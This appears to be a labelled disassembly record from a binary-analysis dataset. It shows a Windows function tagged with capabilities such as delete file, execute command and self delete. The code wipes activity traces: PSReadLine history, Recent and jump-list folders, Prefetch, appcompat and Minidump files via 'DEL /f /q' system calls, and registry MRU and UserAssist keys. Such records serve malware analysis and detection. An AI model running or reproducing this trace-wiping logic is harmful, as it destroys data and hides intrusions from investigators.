Function at 0x180030fe0
Capabilities:
Delete directory
Delete file
Execute command
Get session user name
Self delete

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800af040]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
mov r8d, 0x38
lea rdx, str.C:_users__username__Searches_Indexed_Locations.search_ms
lea rcx, [rbp + 0x1f0]
call fcn.1800381a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
mov r8d, 0x4b
lea rdx, str.C:_Users__username__AppData_Roaming_Microsoft_Windows_PowerShell_PSReadLine
lea rcx, [rbp + 0x1d0]
call fcn.1800381a0
nop
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x1800310e3
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x1800310f1
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x18003116e
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x18003117c
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, str.APPDATA
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
movdqa xmm6, xmmword [0x1800a6c70]
mov rdx, qword [rbp + 0x180]
test rdx, rdx
jne 0x1800311e8
lea rdx, str.Error_getting_AppData_folder_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180032773
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rdi
mov qword [rbp + 0x1a8], rdi
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180031210
lea rcx, [rbp + 0x190]
call fcn.1800381a0
nop
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0x1a0]
sub rax, rcx
cmp rax, 0xa
jb 0x180032845
lea rax, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rax, qword [rbp + 0x190]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.DEL__f__q
lea rcx, [rbp + 0x120]
call fcn.18003c330
nop
mov r8d, 0x1d
lea rdx, str.MicrosoftWindowsRecent.
lea rcx, [rbp + 0x120]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x18003132b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031326
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031326
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp - 0x10], xmm6
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x180031378
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031373
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031373
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov rax, rbx
mov rcx, qword [rbp + 0x1a0]
sub rax, rcx
cmp rax, 0xa
jb 0x18003284b
lea rax, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rax, qword [rbp + 0x190]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.DEL__f__q
lea rcx, [rbp + 0x140]
call fcn.18003c330
nop
mov r8d, 0x30
lea rdx, str.MicrosoftWindowsRecentCustomDestinations.
lea rcx, [rbp + 0x140]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x180031465
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031460
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031460
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x10], xmm6
mov byte [rbp], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x1800314b2
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800314ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800314ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov rcx, qword [rbp + 0x1a0]
sub rbx, rcx
cmp rbx, 0xa
jb 0x18003283f
lea rax, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rax, qword [rbp + 0x190]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.DEL__f__q
lea rcx, [rbp + 0x160]
call fcn.18003c330
nop
mov r8d, 0x33
lea rdx, str.MicrosoftWindowsRecentAutomaticDestinations.
lea rcx, [rbp + 0x160]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x18003159c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031597
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031597
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x1800315e9
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800315e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800315e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.pf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.7db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_PrefetchReadyBoot.fx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x188], 0x64
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x1800316ca
lea rdx, str.Error_getting_user_SID.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x4f
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18003173e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x35
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1800317b2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800317ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800317ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x61
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031826
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031821
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031821
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x5e
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18003189a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031895
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x50
lea rdx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18003190e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031909
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x54
lea rdx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031982
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003197d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003197d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp + 0x220]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800319a0
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x60]
call fcn.1800381a0
nop
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a5c44]
mov r13d, 4
lea r15, str.HKU_
cmp rax, r13
jb 0x180031a57
lea rax, [r8 + 4]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x60]
cmp rdx, rbx
jbe 0x180031a18
lea rax, [rbx + r8]
cmp r15, rax
ja 0x180031a18
cmp rbx, r15
jbe 0x180031a1b
mov rdi, rbx
sub rdi, r15
jmp 0x180031a1b
mov rdi, r13
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r13
sub r8, rdi
lea rdx, [r15 + 4]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x60]
xor edi, edi
jmp 0x180031a6e
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r15
mov rdx, r13
lea rcx, [rsp + 0x60]
call fcn.18003d1d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rdi
mov byte [rax], 0
mov r8d, 0x4c
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU
lea rcx, [rbp + 0x60]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x40]
call fcn.180030c40
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x180031b26
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031b21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031b21
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x180031b6d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031b68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031b68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x70], xmm6
mov byte [rbp + 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x180031bb6
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031bb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031bb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rbp + 0x220]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180031bd0
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x80]
call fcn.1800381a0
nop
mov r8, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a5cb3]
mov r12d, 0xb
lea r14, str.HKEY_USERS_
cmp rax, r12
jb 0x180031c80
lea rax, [r8 + 0xb]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
cmp rdx, rbx
jbe 0x180031c42
lea rax, [rbx + r8]
cmp r14, rax
ja 0x180031c42
cmp rbx, r14
jbe 0x180031c45
mov rdi, rbx
sub rdi, r14
jmp 0x180031c45
mov rdi, r12
inc r8
lea rcx, [rbx + 0xb]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, rdi
lea rdx, [r14 + 0xb]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x80]
xor edi, edi
jmp 0x180031c96
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp - 0x80]
call fcn.18003d1d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rdi
mov byte [rax], 0
mov r8d, 0x50
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rbp + 0xa0]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x80]
call fcn.180030c40
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x180031d72
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031d6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x180031dc5
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031dc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x180031e12
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x4f
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031e86
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x4f
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031efa
inc rdx
